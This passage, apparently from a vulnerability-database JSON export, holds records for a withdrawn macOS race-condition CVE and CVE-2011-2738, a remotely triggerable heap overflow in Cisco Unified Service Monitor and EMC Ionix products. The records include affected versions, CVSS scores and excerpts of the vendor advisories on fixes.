ConsultIDs: none. Reason: This candidate was withdrawn by the CVE program. Notes: none", "trust": 1.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "VULHUB", "id": "VHN-390737" }, { "db": "VULMON", "id": "CVE-2021-31004" }, { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "CNNVD", "id": "CNNVD-202108-2113" }, { "db": "NVD", "id": "CVE-2021-31004" } ], "data": [ { "db": "NVD", "id": "CVE-2021-31004", "trust": 3.4 }, { "db": "JVNDB", "id": "JVNDB-2021-021235", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-202108-2113", "trust": 0.6 }, { "db": "VULHUB", "id": "VHN-390737", "trust": 0.1 }, { "db": "VULMON", "id": "CVE-2021-31004", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VULHUB", "id": "VHN-390737" } ], "data": true, "trust": 0.01, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "CNNVD", "id": "CNNVD-202108-2113" } ], "data": [ { "title": "HT212602 Apple  Security update", "url": "https://support.apple.com/en-us/ht212602", "trust": 0.8 }, { "title": "Apple macOS Repair measures for the competition condition problem loophole", "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=194531", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "VULHUB", "id": "VHN-390737" }, { "db": "VULMON", "id": "CVE-2021-31004" }, { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "CNNVD", "id": "CNNVD-202108-2113" }, { "db": "NVD", "id": "CVE-2021-31004" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "VULHUB", "id": "VHN-390737" }, { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "NVD", "id": "CVE-2021-31004" } ], "data": [ { "trust": 1.1, "problemtype": "CWE-362" }, { "trust": 0.8, "problemtype": "Race condition (CWE-362) [NVD evaluation ]" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "VULHUB", "id": "VHN-390737" }, { "db": "VULMON", "id": "CVE-2021-31004" }, { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "CNNVD", "id": "CNNVD-202108-2113" }, { "db": "NVD", "id": "CVE-2021-31004" } ], "data": [ { "url": "https://support.apple.com/en-us/ht212602", "trust": 1.7 }, { "url": "https://support.apple.com/en-us/ht212869", "trust": 1.7 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2021-31004", "trust": 0.8 }, { "url": "https://nvd.nist.gov", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "VULHUB", "id": "VHN-390737", "date": "2022-05-31T00:00:00" }, { "db": "VULMON", "id": "CVE-2021-31004", "date": "2021-08-24T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2021-021235", "date": "2024-07-22T09:20:00" }, { "db": "CNNVD", "id": "CNNVD-202108-2113", "date": "2022-06-01T00:00:00" }, { "db": "NVD", "id": "CVE-2021-31004", "date": "2023-11-07T03:34:18.070000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "VULHUB", "id": "VHN-390737", "date": "2021-08-24T00:00:00" }, { "db": "VULMON", "id": "CVE-2021-31004", "date": "2021-08-24T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2021-021235", "date": "2024-07-22T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-202108-2113", "date": "2021-08-24T00:00:00" }, { "db": "NVD", "id": "CVE-2021-31004", "date": "2021-08-24T19:15:24.613000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-202108-2113" } ], "data": "local", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2021-021235" } ], "data": "apple's  macOS  Race condition vulnerabilities in", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-202108-2113" } ], "data": "competition condition problem", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2021-31004", "last_update_date": "2024-07-23T22:44:06.976000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202108-1158", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201109-0089](https://vulnerability.circl.lu/vuln/var-201109-0089) ```json { "id": "VAR-201109-0089", "affected_products": { "sources": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "BID", "id": "49627" }, { "db": "BID", "id": "49644" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" }, { "db": "CNNVD", "id": "CNNVD-201109-238" }, { "db": "NVD", "id": "CVE-2011-2738" } ], "data": [ { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "4.0", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "3.2", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "3.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified service monitor", "version": "2.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified service monitor", "version": "2.0.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified service monitor", "version": "2.0", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified service monitor", "version": "1.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.0.3", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.0.2", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.0.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "8.0", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.3", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.2", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "2.0", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "1.1", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "1.0", "scope": "eq", "trust": 1.3 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "4.0.1", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "unified service monitor", "version": "8.5", "scope": "lte", "trust": 1.0 }, { "vendor": "cisco", "model": "unified service monitor", "version": "8.0", "scope": "eq", "trust": 1.0 }, { "vendor": "emc", "model": "ionix asam", "version": "3.2.0.2", "scope": "lte", "trust": 1.0 }, { "vendor": "emc", "model": "ionix acm", "version": "2.3", "scope": "lte", "trust": 1.0 }, { "vendor": "cisco", "model": "unified operations manager", "version": "8.5", "scope": "lte", "trust": 1.0 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "3.0", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "unified service monitor", "version": "2.2", "scope": "eq", "trust": 1.0 }, { "vendor": "emc", "model": "ionix ip", "version": "8.1.1.1", "scope": "lte", "trust": 1.0 }, { "vendor": "cisco", "model": "unified service monitor", "version": "2.3", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "unified service monitor", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "3.x 4.x", "scope": "lt", "trust": 0.8 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "4.1", "scope": "eq", "trust": 0.8 }, { "vendor": "emccisco", "model": "applicationxtender workflow unified service monitor", "version": null, "scope": null, "trust": 0.7 }, { "vendor": "ciscoemc", "model": "unified service monitorapplicationxtender workflow", "version": null, "scope": null, "trust": 0.7 }, { "vendor": "emc", "model": "ionix ip", "version": "8.1.1.1", "scope": "eq", "trust": 0.6 }, { "vendor": "cisco", "model": "unified service monitor", "version": "1.0", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "unified service manager", "version": "2.0.1", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "unified service manager", "version": "2.0", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "unified service manager", "version": "1.1", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "8.5", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "unified operations manager sp1", "version": "2.1", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "ciscoworks lan management solution", "version": "4.1", "scope": "ne", "trust": 0.3 }, { "vendor": "cisco", "model": "unified server manager", "version": "8.6", "scope": "ne", "trust": 0.3 }, { "vendor": "cisco", "model": "unified operations manager", "version": "8.6", "scope": "ne", "trust": 0.3 }, { "vendor": "emc", "model": "optical transport management suite", "version": "5.1", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "onix network protocol management suite", "version": "3.1", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix voip availability management suite", "version": "4.0.0.3", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix storage insight for availability suite", "version": "2.3.1", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix service assurance management suite", "version": "8.1.0.6", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix server manager", "version": "3.0", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix multicast manager", "version": "2.1", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix mpls management suite", "version": "4.0.0", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix ipv6 management suite", "version": "2.0.2", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix ip management suite", "version": "8.1.1.1", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix application connectivity monitor", "version": "2.3", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix adapter for alcatel-lucent sam ems", "version": "56203.2.0.2", "scope": "eq", "trust": 0.3 }, { "vendor": "emc", "model": "ionix voip availability management suite", "version": "4.0.0.4", "scope": "ne", "trust": 0.3 }, { "vendor": "emc", "model": "ionix service assurance management suite", "version": "8.1.1", "scope": "ne", "trust": 0.3 }, { "vendor": "emc", "model": "ionix ip management suite", "version": "8.1.2", "scope": "ne", "trust": 0.3 }, { "vendor": "emc", "model": "ionix adapter for alcatel-lucent sam ems", "version": "56203.2.0.3", "scope": "ne", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2011-2738" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "AND", "children": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:8.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.5", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:2.0.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:2.2:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:2.3:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:2.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:2.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_service_monitor:1.1:*:*:*:*:*:*:*", "cpe_name": [] } ] }, { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.0.2:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.0.3:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:ciscoworks_lan_management_solution:3.0:december_2007:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:ciscoworks_lan_management_solution:3.2:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:1.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.3:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:8.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:ciscoworks_lan_management_solution:4.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:ciscoworks_lan_management_solution:4.0.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.0.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.5", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:1.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:unified_operations_manager:2.2:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:ciscoworks_lan_management_solution:3.1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:ciscoworks_lan_management_solution:3.0:*:*:*:*:*:*:*", "cpe_name": [] } ] } ], "cpe_match": [] }, { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:emc:ionix_ip:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.1.1.1", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:emc:ionix_acm:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:emc:ionix_asam:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.2.0.2", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" } ], "data": "AbdulAziz Hariri", "trust": 1.4, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "VULHUB", "id": "VHN-50683" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" }, { "db": "CNNVD", "id": "CNNVD-201109-238" }, { "db": "NVD", "id": "CVE-2011-2738" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2011-2738", "trust": 1.8 }, { "id": "CVE-2011-2738", "value": "HIGH", "author": "ZDI", "trust": 1.4 }, { "id": "CNNVD-201109-238", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 }, { "value": "HIGH", "author": "VULHUB", "id": "VHN-50683", "trust": 0.1 } ], "cvssV2": [ { "id": "CVE-2011-2738", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "Network", "accessComplexity": "Low", "authentication": "None", "confidentialityImpact": "Complete", "integrityImpact": "Complete", "availabilityImpact": "Complete", "baseScore": 10.0, "severity": "High", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 1.5 }, { "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "id": "CVE-2011-2738", "author": "ZDI", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 8.5, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.7 }, { "version": "2.0", "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "VHN-50683", "author": "VULHUB", "trust": 0.1 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2011-2738" }, { "db": "JVNDB", "id": "JVNDB-2011-002230" }, { "db": "ZDI", "id": "ZDI-11-291" }, { "db": "ZDI", "id": "ZDI-11-292" }, { "db": "BID", "id": "49627" }, { "db": "BID", "id": "49644" }, { "db": "VULHUB", "id": "VHN-50683" }, { "db": "PACKETSTORM", "id": "105114" }, { "db": "PACKETSTORM", "id": "105141" }, { "db": "PACKETSTORM", "id": "105125" } ], "data": "Multiple unspecified vulnerabilities in Cisco Unified Service Monitor before 8.6, as used in Unified Operations Manager before 8.6 and CiscoWorks LAN Management Solution 3.x and 4.x before 4.1; and multiple EMC Ionix products including Application Connectivity Monitor (Ionix ACM) 2.3 and earlier, Adapter for Alcatel-Lucent 5620 SAM EMS (Ionix ASAM) 3.2.0.2 and earlier, IP Management Suite (Ionix IP) 8.1.1.1 and earlier, and other Ionix products; allow remote attackers to execute arbitrary code via crafted packets to TCP port 9002, aka Bug IDs CSCtn42961 and CSCtn64922, related to a buffer overflow. Cisco Unified Operations Manager and CiscoWorks LAN Management Solution Used in Cisco Unified Service Monitor Contains a vulnerability that allows arbitrary code execution. The problem is Bug ID CSCtn42961 and CSCtn64922 It is a problem.Skillfully crafted by a third party TCP port 9002 Arbitrary code could be executed via packets. Authentication is not required to exploit this vulnerability.The flaw exists within the brstart.exe service which listens by default on TCP port 9002. When handling an add_dm request the process uses a user provided value to allocate a buffer then blindly copies user supplied data into a fixed-length buffer on the heap. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the casuser user. Multiple EMC Ionix applications are prone to a buffer-overflow vulnerability. Successful exploits will result in the complete compromise of affected applications. Failed exploit attempts will result in a denial-of-service condition. \nThe following applications are affected. \nIonix Application Connectivity Monitor (Ionix ACM) version 2.3 and prior\nIonix Adapter for Alcatel-Lucent 5620 SAM EMS (Ionix ASAM) version 3.2.0.2 and prior\nIonix IP Management Suite (Ionix IP) version 8.1.1.1 and prior\nIonix IPv6 Management Suite (Ionix IPv6) version 2.0.2 and prior\nIonix MPLS Management Suite (Ionix MPLS) version 4.0.0 and prior\nIonix Multicast Manager (Ionix MCAST) version 2.1 and prior\nIonix Network Protocol Management Suite version (Ionix NPM) 3.1 and prior\nIonix Optical Transport Management Suite version (Ionix OTM) 5.1 and prior\nIonix Server Manager (EISM) version 3.0 and prior\nIonix Service Assurance Management Suite (Ionix SAM) version 8.1.0.6 and prior\nIonix Storage Insight for Availability Suite (Ionix SIA) version 2.3.1 and prior\nIonix VoIP Availability Management Suite (Ionix VoIP AM) version 4.0.0.3 and prior. \n\nDetails\n=======\n\nCiscoWorks LAN Management Solution is an integrated suite of\nmanagement functions that simplifies the configuration,\nadministration, monitoring, and troubleshooting of a network. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nESA-2011-029: Buffer overflow vulnerability in multiple EMC Ionix products. EMC will communicate the fixes for all other affected products as they become available. Regularly check EMC Knowledgebase solution emc274245 for the status of these fixes. \n\nLink to remedies: \nRegistered EMC Powerlink customers can download software from Powerlink. For EMC Ionix Software, navigate in Powerlink to Home > Support > Software Downloads and Licensing > Downloads E-I \n\nBecause the view is restricted based on customer agreements, you may not have permission to view certain downloads. Should you not see a software download you believe you should have access to, follow the instructions in EMC Knowledgebase solution emc116045. \n\nCredits: \n \nEMC would like to thank Abdul Aziz Hariri working with TippingPoint's Zero Day Initiative (http://www.zerodayinitiative.com) for reporting this issue. \n\nFor explanation of Severity Ratings, refer to EMC Knowledgebase solution emc218831. \n\nEMC Corporation distributes EMC Security Advisories in order to bring to the attention of users of the affected EMC products important security information. EMC recommends all users determine the applicability of this information to their individual situations and take appropriate action. In no event shall EMC or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. \n\nCisco has released free software updates that address these\nvulnerabilities. \n\nThere are no workarounds available to mitigate these vulnerabilities. \n\nThis advisory is posted at:\nhttp://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml\n\nNote: CiscoWorks LAN Management Solution is also affected by these\nvulnerabilities. The Software\nUpdate page displays the licensing and software version. \nThey provides a way to continuously monitor active calls supported by\nthe Cisco Unified Communications System. \n\nBoth of these vulnerabilities are documented in Cisco bug ID \nCSCtn42961 ( registered customers only) and have been assigned CVE ID\nCVE-2011-2738. \n\nVulnerability Scoring Details\n+----------------------------\n\nCisco has provided scores for the vulnerabilities in this advisory\nbased on the Common Vulnerability Scoring System (CVSS). The CVSS\nscoring in this Security Advisory is done in accordance with CVSS\nversion 2.0. \n\nCVSS is a standards-based scoring method that conveys vulnerability\nseverity and helps determine urgency and priority of response. \n\nCisco has provided a base and temporal score. Customers can then\ncompute environmental scores to assist in determining the impact of\nthe vulnerability in individual networks. \n\nCisco has provided an FAQ to answer additional questions regarding\nCVSS at:\n\nhttp://www.cisco.com/web/about/security/intelligence/cvss-qandas.html\n\nCisco has also provided a CVSS calculator to help compute the\nenvironmental impact for individual networks at:\n\nhttp://intellishield.cisco.com/security/alertmanager/cvss\n\n* CSCtn42961 - Cisco Unified Service Monitor Remote Code Execution\n\nCVSS Base Score - 10\n Access Vector - Network\n Access Complexity - Low\n Authentication - None\n Confidentiality Impact - Complete\n Integrity Impact - Complete\n Availability Impact - Complete\n\nCVSS Temporal Score - 8.3\n Exploitability - Functional\n Remediation Level - Official-Fix\n Report Confidence - Confirmed\n\n\nImpact\n======\n\nSuccessful exploitation of these vulnerabilities could allow an\nunauthenticated, remote attacker to execute arbitrary code on\naffected servers. \n\nSoftware Versions and Fixes\n===========================\n\nWhen considering software upgrades, also consult \nhttp://www.cisco.com/go/psirt and any subsequent advisories to determine \nexposure and a complete upgrade solution. \n\nIn all cases, customers should exercise caution to be certain the\ndevices to be upgraded contain sufficient memory and that current\nhardware and software configurations will continue to be supported\nproperly by the new release. If the information is not clear, contact\nthe Cisco Technical Assistance Center (TAC) or your contracted\nmaintenance provider for assistance. \n\nMitigations that can be deployed on Cisco devices within the network\nare available in the Cisco Applied Mitigation Bulletin companion\ndocument for this advisory, which is available at the following link:\nhttp://www.cisco.com/warp/public/707/cisco-amb-201100914-cusm-lms.shtml\n\nObtaining Fixed Software\n========================\n\nCisco has released free software updates that address these\nvulnerabilities. Prior to deploying software, customers should\nconsult their maintenance provider or check the software for feature\nset compatibility and known issues specific to their environment. \n\nCustomers may only install and expect support for the feature sets\nthey have purchased. By installing, downloading, accessing or\notherwise using such software upgrades, customers agree to be bound\nby the terms of Cisco's software license terms found at \nhttp://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html\nor as otherwise set forth at Cisco.com Downloads at:\nhttp://www.cisco.com/public/sw-center/sw-usingswc.shtml\n\nDo not contact psirt@cisco.com or security-alert@cisco.com for\nsoftware upgrades. \n\nCustomers with Service Contracts\n+-------------------------------\n\nCustomers with contracts should obtain upgraded software through\ntheir regular update channels. For most customers, this means that\nupgrades should be obtained through the Software Center on Cisco's\nworldwide website at http://www.cisco.com. \n\nCustomers using Third Party Support Organizations\n+------------------------------------------------\n\nCustomers whose Cisco products are provided or maintained through\nprior or existing agreements with third-party support organizations,\nsuch as Cisco Partners, authorized resellers, or service providers\nshould contact that support organization for guidance and assistance\nwith the appropriate course of action in regards to this advisory. \n\nThe effectiveness of any workaround or fix is dependent on specific\ncustomer situations, such as product mix, network topology, traffic\nbehavior, and 